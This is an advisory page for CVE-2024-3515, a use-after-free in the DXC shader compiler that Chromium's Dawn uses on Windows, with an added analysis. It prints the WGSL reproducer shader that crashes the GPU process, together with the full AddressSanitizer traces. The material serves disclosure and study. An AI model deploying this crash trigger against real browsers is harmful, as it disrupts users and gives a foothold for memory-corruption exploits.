Skip to content
Memory corruption Advisory Advanced CVE-2024-3515

Use after free in Dawn (CVE-2024-3515)

A crafted WebGPU shader, when translated to HLSL and compiled by the bundled DXC compiler on Windows, triggers a heap use-after-free inside the compiler's scalar replacement pass. The result is a crash of the GPU process, and the report notes the crash is still exploitable with MiraclePtr.

wgslfuzz Follow

Originally disclosed on Chrome VRP

Bounty$10,000 High View original
  • Fix shipped in 17 days

VULNERABILITY DETAILS

Chromium translates wgsl shaders via tint to an OS-specific shader format. On Windows, the OS-specific file format is hlsl, processed in dxcompiler.dll. When compiling chrome-generated hlsl files, this might trigger a heap UAF insider the hlsl compiler.

VERSION Chrome Version: Pre-compiled ASAN Chromium 125.0.6375.0 (Developer Build) (64-bit) Operating System: Win10 Build 19045

REPRODUCTION CASE Attached is a .html file containing a WebGPU shader. Opening the html file (on windows with the D3D12 backend) crashes the GPU process. The problematic wgsl shader is:

struct S2596889757_ {
    @builtin(front_facing) m0_: bool,
}

var<private> G2178370774_: S2596889757_;

@fragment
fn fragment_main() -> @location(0) vec4<f32> {
    {
        G2178370774_ = G2178370774_;
    }
    return vec4<f32>(0.0, 0.0, 0.0, 0.0);
}

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION Type of crash: GPU Crash State:

4:134> g #0 0x7ffec1a98674 in anonymous namespace'::MemcpySplitter::SplitMemCpy C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:1118 #1 0x7ffec1aa5ebc in anonymous namespace'::SROA_Helper::LowerMemcpy C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:4025 #2 0x7ffec1a8d2c7 in anonymous namespace'::SROAGlobalAndAllocas C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:1937 #3 0x7ffec1a7ede5 in anonymous namespace'::SROA_Parameter_HLSL::runOnModule C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:4289 #4 0x7ffec0adaa2d in llvm::legacy::PassManagerImpl::run C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\IR\LegacyPassManager.cpp:1771 #5 0x7ffec0ae3b11 in clang::EmitBackendOutput C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\lib\CodeGen\BackendUtil.cpp:779 #6 0x7ffec05231a1 in clang::BackendConsumer::HandleTranslationUnit C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\lib\CodeGen\CodeGenAction.cpp:191 #7 0x7ffec0c04b41 in clang::ParseAST C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\lib\Parse\ParseAST.cpp:164 #8 0x7ffec051e02a in clang::CodeGenAction::ExecuteAction C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\lib\CodeGen\CodeGenAction.cpp:807 #9 0x7ffec052b2b3 in clang::FrontendAction::Execute C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\lib\Frontend\FrontendAction.cpp:455 #10 0x7ffec041ef57 in DxcCompiler::Compile C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\tools\dxcompiler\dxcompilerobj.cpp:982 #11 0x7ffe67bda760 in dawn::native::d3d::CompileShader C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d\ShaderUtils.cpp:355 #12 0x7ffe67c38c10 in dawn::native::LoadOrRun<dawn::Resultdawn::native::d3d::CompiledShader,dawn::native::ErrorData ()(dawn::native::Blob),dawn::Resultdawn::native::d3d::CompiledShader,dawn::native::ErrorData ()(dawn::native::d3d::D3DCompilationRequest)> C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\CacheRequest.h:154 #13 0x7ffe67cddf54 in dawn::native::d3d12::ShaderModule::Compile C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d12\ShaderModuleD3D12.cpp:379 #14 0x7ffe67cc8420 in dawn::native::d3d12::RenderPipeline::InitializeImpl C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d12\RenderPipelineD3D12.cpp:383 #15 0x7ffe67b0a320 in dawn::native::PipelineBase::Initialize C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\Pipeline.cpp:371 #16 0x7ffe67a699ce in dawn::native::DeviceBase::CreateRenderPipeline C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\Device.cpp:2032 #17 0x7ffe67a693d1 in dawn::native::DeviceBase::APICreateRenderPipeline C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\Device.cpp:1347 #18 0x7ffe8982c0ad in dawn::wire::server::Server::DoDeviceCreateRenderPipeline C:\b\s\w\ir\cache\builder\src\out\Release_x64\gen\third_party\dawn\src\dawn\wire\server\ServerDoers_autogen.cpp:314 #19 0x7ffe8921b214 in dawn::wire::server::Server::HandleDeviceCreateRenderPipeline C:\b\s\w\ir\cache\builder\src\out\Release_x64\gen\third_party\dawn\src\dawn\wire\server\ServerHandlers_autogen.cpp:606 #20 0x7ffe8922054c in dawn::wire::server::Server::HandleCommandsImpl C:\b\s\w\ir\cache\builder\src\out\Release_x64\gen\third_party\dawn\src\dawn\wire\server\ServerHandlers_autogen.cpp:1642 #21 0x7ffe84e50d82 in gpu::webgpu::anonymous namespace'::DawnWireServer::HandleCommands C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\webgpu_decoder_impl.cc:999 #22 0x7ffe84e511d5 in gpu::webgpu::anonymous namespace'::WebGPUDecoderImpl::HandleDawnCommands C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\webgpu_decoder_impl.cc:1894 #23 0x7ffe84e45021 in gpu::webgpu::`anonymous namespace'::WebGPUDecoderImpl::DoCommands C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\webgpu_decoder_impl.cc:1839 #24 0x7ffe78d25543 in gpu::CommandBufferService::Flush C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\command_buffer_service.cc:232 #25 0x7ffe759aadae in gpu::CommandBufferStub::OnAsyncFlush C:\b\s\w\ir\cache\builder\src\gpu\ipc\service\command_buffer_stub.cc:507 #26 0x7ffe759a9853 in gpu::CommandBufferStub::ExecuteDeferredRequest C:\b\s\w\ir\cache\builder\src\gpu\ipc\service\command_buffer_stub.cc:155 #27 0x7ffe78d434b5 in gpu::GpuChannel::ExecuteDeferredRequest C:\b\s\w\ir\cache\builder\src\gpu\ipc\service\gpu_channel.cc:873 #28 0x7ffe78d5371a in base::internal::Invoker<base::internal::FunctorTraits<void (gpu::GpuChannel::&&)(mojo::StructPtrgpu::mojom::DeferredRequestParams),base::WeakPtrgpu::GpuChannel &&,mojo::StructPtrgpu::mojom::DeferredRequestParams &&>,base::internal::BindState<1,1,0,void (gpu::GpuChannel::)(mojo::StructPtrgpu::mojom::DeferredRequestParams),base::WeakPtrgpu::GpuChannel,mojo::StructPtrgpu::mojom::DeferredRequestParams >,void ()>::RunOnce C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:980 #29 0x7ffe7836aa09 in gpu::SchedulerDfs::ExecuteSequence C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\scheduler_dfs.cc:740 #30 0x7ffe78368a84 in gpu::SchedulerDfs::RunNextTask C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\scheduler_dfs.cc:665 #31 0x7ffe7836c128 in base::internal::Invoker<base::internal::FunctorTraits<void (gpu::SchedulerDfs::*&&)(),gpu::SchedulerDfs >,base::internal::BindState<1,1,0,void (gpu::SchedulerDfs::)(),base::internal::UnretainedWrappergpu::SchedulerDfs,base::unretained_traits::MayNotDangle,0 >,void ()>::RunOnce C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h:980 #32 0x7ffe738d0070 in base::TaskAnnotator::RunTaskImpl C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.cc:203 #33 0x7ffe771b895b in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:473 #34 0x7ffe771b7884 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:338 #35 0x7ffe771e2d1a in base::MessagePumpDefault::Run C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_default.cc:40 #36 0x7ffe771ba6aa in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:641 #37 0x7ffe7391a3d0 in base::RunLoop::Run C:\b\s\w\ir\cache\builder\src\base\run_loop.cc:134 #38 0x7ffe766ec3eb in content::GpuMain C:\b\s\w\ir\cache\builder\src\content\gpu\gpu_main.cc:434 #39 0x7ffe721f37d2 in content::RunOtherNamedProcessTypeMain C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc:771 #40 0x7ffe721f5d31 in content::ContentMainRunnerImpl::Run C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc:1146 #41 0x7ffe721f18a7 in content::RunContentProcess C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc:328 #42 0x7ffe721f225d in content::ContentMain C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc:341 #43 0x7ffe655b16c3 in ChromeMain C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_main.cc:192 #44 0x7ff6072e4386 in MainDllLoader::Launch C:\b\s\w\ir\cache\builder\src\chrome\app\main_dll_loader_win.cc:180 #45 0x7ff6072e1da0 in main C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_exe_main_win.cc:350 #46 0x7ff6076bc7b3 in __scrt_common_main_seh D:\a_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:288 #47 0x7ffef3b27613 in BaseThreadInitThunk+0x13 (C:\Windows\System32\KERNEL32.DLL+0x180017613) #48 0x7ffef43426a0 in RtlUserThreadStart+0x20 (C:\Windows\SYSTEM32\ntdll.dll+0x1800526a0)

0x1242774bd9d0 is located 48 bytes inside of 96-byte region [0x1242774bd9a0,0x1242774bda00) freed by thread T0 here: #0 0x7ff6073baa5d in free C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_malloc_win.cpp:82 #1 0x7ffec073784b in llvm::ICmpInst::~ICmpInst C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\include\llvm\IR\Instructions.h:1093 #2 0x7ffec182effd in llvm::Instruction::eraseFromParent C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\IR\Instruction.cpp:71 #3 0x7ffec1a97f0f in anonymous namespace'::MemcpySplitter::SplitMemCpy C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:1118 #4 0x7ffec1aa5ebc in anonymous namespace'::SROA_Helper::LowerMemcpy C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:4025 #5 0x7ffec1a8d2c7 in anonymous namespace'::SROAGlobalAndAllocas C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:1937 #6 0x7ffec1a7ede5 in anonymous namespace'::SROA_Parameter_HLSL::runOnModule C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:4289 #7 0x7ffec0adaa2d in llvm::legacy::PassManagerImpl::run C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\IR\LegacyPassManager.cpp:1771 #8 0x7ffec0ae3b11 in clang::EmitBackendOutput C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\lib\CodeGen\BackendUtil.cpp:779 #9 0x7ffec05231a1 in clang::BackendConsumer::HandleTranslationUnit C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\lib\CodeGen\CodeGenAction.cpp:191 #10 0x7ffec0c04b41 in clang::ParseAST C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\lib\Parse\ParseAST.cpp:164 #11 0x7ffec051e02a in clang::CodeGenAction::ExecuteAction C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\lib\CodeGen\CodeGenAction.cpp:807 #12 0x7ffec052b2b3 in clang::FrontendAction::Execute C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\lib\Frontend\FrontendAction.cpp:455 #13 0x7ffec041ef57 in DxcCompiler::Compile C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\tools\dxcompiler\dxcompilerobj.cpp:982 #14 0x7ffe67bda760 in dawn::native::d3d::CompileShader C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d\ShaderUtils.cpp:355 #15 0x7ffe67c38c10 in dawn::native::LoadOrRun<dawn::Resultdawn::native::d3d::CompiledShader,dawn::native::ErrorData ()(dawn::native::Blob),dawn::Resultdawn::native::d3d::CompiledShader,dawn::native::ErrorData ()(dawn::native::d3d::D3DCompilationRequest)> C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\CacheRequest.h:154 #16 0x7ffe67cddf54 in dawn::native::d3d12::ShaderModule::Compile C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d12\ShaderModuleD3D12.cpp:379 #17 0x7ffe67cc8420 in dawn::native::d3d12::RenderPipeline::InitializeImpl C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d12\RenderPipelineD3D12.cpp:383 #18 0x7ffe67b0a320 in dawn::native::PipelineBase::Initialize C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\Pipeline.cpp:371 #19 0x7ffe67a699ce in dawn::native::DeviceBase::CreateRenderPipeline C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\Device.cpp:2032 #20 0x7ffe67a693d1 in dawn::native::DeviceBase::APICreateRenderPipeline C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\Device.cpp:1347 #21 0x7ffe8982c0ad in dawn::wire::server::Server::DoDeviceCreateRenderPipeline C:\b\s\w\ir\cache\builder\src\out\Release_x64\gen\third_party\dawn\src\dawn\wire\server\ServerDoers_autogen.cpp:314 #22 0x7ffe8921b214 in dawn::wire::server::Server::HandleDeviceCreateRenderPipeline C:\b\s\w\ir\cache\builder\src\out\Release_x64\gen\third_party\dawn\src\dawn\wire\server\ServerHandlers_autogen.cpp:606 #23 0x7ffe8922054c in dawn::wire::server::Server::HandleCommandsImpl C:\b\s\w\ir\cache\builder\src\out\Release_x64\gen\third_party\dawn\src\dawn\wire\server\ServerHandlers_autogen.cpp:1642 #24 0x7ffe84e50d82 in gpu::webgpu::anonymous namespace'::DawnWireServer::HandleCommands C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\webgpu_decoder_impl.cc:999 #25 0x7ffe84e511d5 in gpu::webgpu::anonymous namespace'::WebGPUDecoderImpl::HandleDawnCommands C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\webgpu_decoder_impl.cc:1894 #26 0x7ffe84e45021 in gpu::webgpu::`anonymous namespace'::WebGPUDecoderImpl::DoCommands C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\webgpu_decoder_impl.cc:1839 #27 0x7ffe78d25543 in gpu::CommandBufferService::Flush C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\command_buffer_service.cc:232

previously allocated by thread T0 here: #0 0x7ff6073bab5d in malloc C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_malloc_win.cpp:98 #1 0x7ffec2d9d41e in operator new D:\a_work\1\s\src\vctools\crt\vcstartup\src\heap\new_scalar.cpp:36 #2 0x7ffec18e9e51 in llvm::User::operator new C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\IR\User.cpp:96 #3 0x7ffec182145a in llvm::CastInst::Create C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\IR\Instructions.cpp:2271 #4 0x7ffec1a939e4 in anonymous namespace'::PatchZeroIdxGEP C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:929 #5 0x7ffec1a7c3de in anonymous namespace'::SROA_Parameter_HLSL::runOnModule C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:4195 #6 0x7ffec0adaa2d in llvm::legacy::PassManagerImpl::run C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\IR\LegacyPassManager.cpp:1771 #7 0x7ffec0ae3b11 in clang::EmitBackendOutput C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\lib\CodeGen\BackendUtil.cpp:779 #8 0x7ffec05231a1 in clang::BackendConsumer::HandleTranslationUnit C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\lib\CodeGen\CodeGenAction.cpp:191 #9 0x7ffec0c04b41 in clang::ParseAST C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\lib\Parse\ParseAST.cpp:164 #10 0x7ffec051e02a in clang::CodeGenAction::ExecuteAction C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\lib\CodeGen\CodeGenAction.cpp:807 #11 0x7ffec052b2b3 in clang::FrontendAction::Execute C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\lib\Frontend\FrontendAction.cpp:455 #12 0x7ffec041ef57 in DxcCompiler::Compile C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\tools\clang\tools\dxcompiler\dxcompilerobj.cpp:982 #13 0x7ffe67bda760 in dawn::native::d3d::CompileShader C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d\ShaderUtils.cpp:355 #14 0x7ffe67c38c10 in dawn::native::LoadOrRun<dawn::Resultdawn::native::d3d::CompiledShader,dawn::native::ErrorData ()(dawn::native::Blob),dawn::Resultdawn::native::d3d::CompiledShader,dawn::native::ErrorData ()(dawn::native::d3d::D3DCompilationRequest)> C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\CacheRequest.h:154 #15 0x7ffe67cddf54 in dawn::native::d3d12::ShaderModule::Compile C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d12\ShaderModuleD3D12.cpp:379 #16 0x7ffe67cc8420 in dawn::native::d3d12::RenderPipeline::InitializeImpl C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\d3d12\RenderPipelineD3D12.cpp:383 #17 0x7ffe67b0a320 in dawn::native::PipelineBase::Initialize C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\Pipeline.cpp:371 #18 0x7ffe67a699ce in dawn::native::DeviceBase::CreateRenderPipeline C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\Device.cpp:2032 #19 0x7ffe67a693d1 in dawn::native::DeviceBase::APICreateRenderPipeline C:\b\s\w\ir\cache\builder\src\third_party\dawn\src\dawn\native\Device.cpp:1347 #20 0x7ffe8982c0ad in dawn::wire::server::Server::DoDeviceCreateRenderPipeline C:\b\s\w\ir\cache\builder\src\out\Release_x64\gen\third_party\dawn\src\dawn\wire\server\ServerDoers_autogen.cpp:314 #21 0x7ffe8921b214 in dawn::wire::server::Server::HandleDeviceCreateRenderPipeline C:\b\s\w\ir\cache\builder\src\out\Release_x64\gen\third_party\dawn\src\dawn\wire\server\ServerHandlers_autogen.cpp:606 #22 0x7ffe8922054c in dawn::wire::server::Server::HandleCommandsImpl C:\b\s\w\ir\cache\builder\src\out\Release_x64\gen\third_party\dawn\src\dawn\wire\server\ServerHandlers_autogen.cpp:1642 #23 0x7ffe84e50d82 in gpu::webgpu::anonymous namespace'::DawnWireServer::HandleCommands C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\webgpu_decoder_impl.cc:999 #24 0x7ffe84e511d5 in gpu::webgpu::anonymous namespace'::WebGPUDecoderImpl::HandleDawnCommands C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\webgpu_decoder_impl.cc:1894 #25 0x7ffe84e45021 in gpu::webgpu::`anonymous namespace'::WebGPUDecoderImpl::DoCommands C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\webgpu_decoder_impl.cc:1839 #26 0x7ffe78d25543 in gpu::CommandBufferService::Flush C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\command_buffer_service.cc:232 #27 0x7ffe759aadae in gpu::CommandBufferStub::OnAsyncFlush C:\b\s\w\ir\cache\builder\src\gpu\ipc\service\command_buffer_stub.cc:507

SUMMARY: AddressSanitizer: heap-use-after-free C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:1118 in `anonymous namespace'::MemcpySplitter::SplitMemCpy Shadow bytes around the buggy address: 0x1242774bd700: fa fa f7 fa fd fd fd fd fd fd fd fd fd fd fd fd 0x1242774bd780: fa fa f7 fa 00 00 00 00 00 00 00 00 00 00 00 00 0x1242774bd800: fa fa f7 fa fd fd fd fd fd fd fd fd fd fd fd fd 0x1242774bd880: fa fa f7 fa fd fd fd fd fd fd fd fd fd fd fd fa 0x1242774bd900: fa fa f7 fa fd fd fd fd fd fd fd fd fd fd fd fd =>0x1242774bd980: fa fa f7 fa fd fd fd fd fd fd[fd]fd fd fd fd fd 0x1242774bda00: fa fa f7 fa fd fd fd fd fd fd fd fd fd fd fd fd 0x1242774bda80: fa fa f7 fa fd fd fd fd fd fd fd fd fd fd fd fd 0x1242774bdb00: fa fa f7 fa 00 00 00 00 00 00 00 00 00 00 00 00 0x1242774bdb80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x1242774bdc00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb

==4148==ADDITIONAL INFO

==4148==Note: Please include this section with the ASan report. Task trace: #0 0x7ffe78368fe0 in gpu::SchedulerDfs::RunNextTask C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\scheduler_dfs.cc:681 #1 0x7ffe78368fe0 in gpu::SchedulerDfs::RunNextTask C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\scheduler_dfs.cc:681 #2 0x7ffe78368fe0 in gpu::SchedulerDfs::RunNextTask C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\scheduler_dfs.cc:681 #3 0x7ffe783621e3 in gpu::SchedulerDfs::TryScheduleSequence C:\b\s\w\ir\cache\builder\src\gpu\command_buffer\service\scheduler_dfs.cc:481

MiraclePtr Status: NOT PROTECTED No raw_ptr<T> access to this region was detected prior to this crash. This crash is still exploitable with MiraclePtr. Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details.

==4148==END OF ADDITIONAL INFO ==4148==ABORTING win32u!NtGdiDdDDIWaitForVerticalBlankEvent+0x14: 00007ffe`f2215cc4 c3 ret

The original report as published on the Chromium issue tracker, by wgslfuzz. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

Dawn is the WebGPU implementation used by Chromium. When a page submits a WGSL shader, Chromium translates it with Tint into an OS-specific shader format. On Windows that format is HLSL, and the HLSL is compiled by dxcompiler.dll, the DirectX Shader Compiler (DXC) that ships inside Dawn's third_party tree.

The bug reported here is a heap use-after-free inside that HLSL compiler, triggered by a small, valid WGSL fragment shader. The crash happens in the GPU process, not the renderer, and the report was filed against Google Chrome through the Chrome VRP under the title "Use after free in Dawn" (CVE-2024-3515).

Setup

The researcher's environment, as stated in the report:

Item Value
Chrome version Pre-compiled ASAN Chromium 125.0.6375.0 (Developer Build) (64-bit)
Operating system Win10 Build 19045
Backend D3D12
Crash type GPU process

Two preconditions matter. The build used was an ASAN build, which is what reports the use-after-free. The machine must be running Windows with the D3D12 backend, because only that path routes the shader through HLSL and DXC.

Finding it

The researcher's handle is wgslfuzz. The interesting property of the reproducer is that it is not malformed: it is a shader that a browser can legitimately accept and hand to the compiler. The trigger is a private global variable of a struct type containing a bool builtin, assigned to itself inside a nested block in a fragment entry point.

Exploitation

Step 1: open the HTML file

The report attaches a .html file containing the WebGPU shader. Opening it on Windows with the D3D12 backend crashes the GPU process. The problematic WGSL shader is:

Text
struct S2596889757_ {
    @builtin(front_facing) m0_: bool,
}

var<private> G2178370774_: S2596889757_;

@fragment
fn fragment_main() -> @location(0) vec4<f32> {
    {
        G2178370774_ = G2178370774_;
    }
    return vec4<f32>(0.0, 0.0, 0.0, 0.0);
}

The shader declares a struct with a single bool member carrying the front_facing builtin, a private module-scope variable of that struct type, and a fragment entry point that performs a self-assignment of the global inside an extra scope block before returning a constant colour.

Step 2: the shader reaches DXC

The call stack shows the path from the browser to the compiler. The GPU command buffer service flushes commands, the WebGPU decoder dispatches them to the Dawn wire server, and DeviceBase::CreateRenderPipeline leads through RenderPipelineD3D12::InitializeImpl and ShaderModule::Compile into dawn::native::d3d::CompileShader, which calls DxcCompiler::Compile. From there the stack runs through clang's frontend and backend into the LLVM legacy pass manager and into DXC's SROA_Parameter_HLSL::runOnModule.

Step 3: the crash

The top of the stack is the fault:

Text
#0 0x7ffec1a98674 in `anonymous namespace'::MemcpySplitter::SplitMemCpy C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:1118
#1 0x7ffec1aa5ebc in `anonymous namespace'::SROA_Helper::LowerMemcpy C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:4025
#2 0x7ffec1a8d2c7 in `anonymous namespace'::SROAGlobalAndAllocas C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:1937
#3 0x7ffec1a7ede5 in `anonymous namespace'::SROA_Parameter_HLSL::runOnModule C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:4289

ASAN summarises it as:

Text
SUMMARY: AddressSanitizer: heap-use-after-free C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:1118 in `anonymous namespace'::MemcpySplitter::SplitMemCpy

The freed region is described as follows: 0x1242774bd9d0 is located 48 bytes inside of 96-byte region [0x1242774bd9a0,0x1242774bda00). The free stack shows the object being destroyed and erased from its parent:

Text
freed by thread T0 here:
    #0 0x7ff6073baa5d in free C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_malloc_win.cpp:82
    #1 0x7ffec073784b in llvm::ICmpInst::~ICmpInst C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\include\llvm\IR\Instructions.h:1093
    #2 0x7ffec182effd in llvm::Instruction::eraseFromParent C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\IR\Instruction.cpp:71
    #3 0x7ffec1a97f0f in `anonymous namespace'::MemcpySplitter::SplitMemCpy C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:1118

So the object is an llvm::ICmpInst that SplitMemCpy itself erases from its parent, and the same function then touches the freed memory at the same source line. The allocation stack shows where the instruction came from:

Text
previously allocated by thread T0 here:
    #0 0x7ff6073bab5d in malloc C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_malloc_win.cpp:98
    #1 0x7ffec2d9d41e in operator new D:\a\_work\1\s\src\vctools\crt\vcstartup\src\heap\new_scalar.cpp:36
    #2 0x7ffec18e9e51 in llvm::User::operator new C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\IR\User.cpp:96
    #3 0x7ffec182145a in llvm::CastInst::Create C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\IR\Instructions.cpp:2271
    #4 0x7ffec1a939e4 in `anonymous namespace'::PatchZeroIdxGEP C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:929
    #5 0x7ffec1a7c3de in `anonymous namespace'::SROA_Parameter_HLSL::runOnModule C:\b\s\w\ir\cache\builder\src\third_party\dawn\third_party\dxc\lib\Transforms\Scalar\ScalarReplAggregatesHLSL.cpp:4195

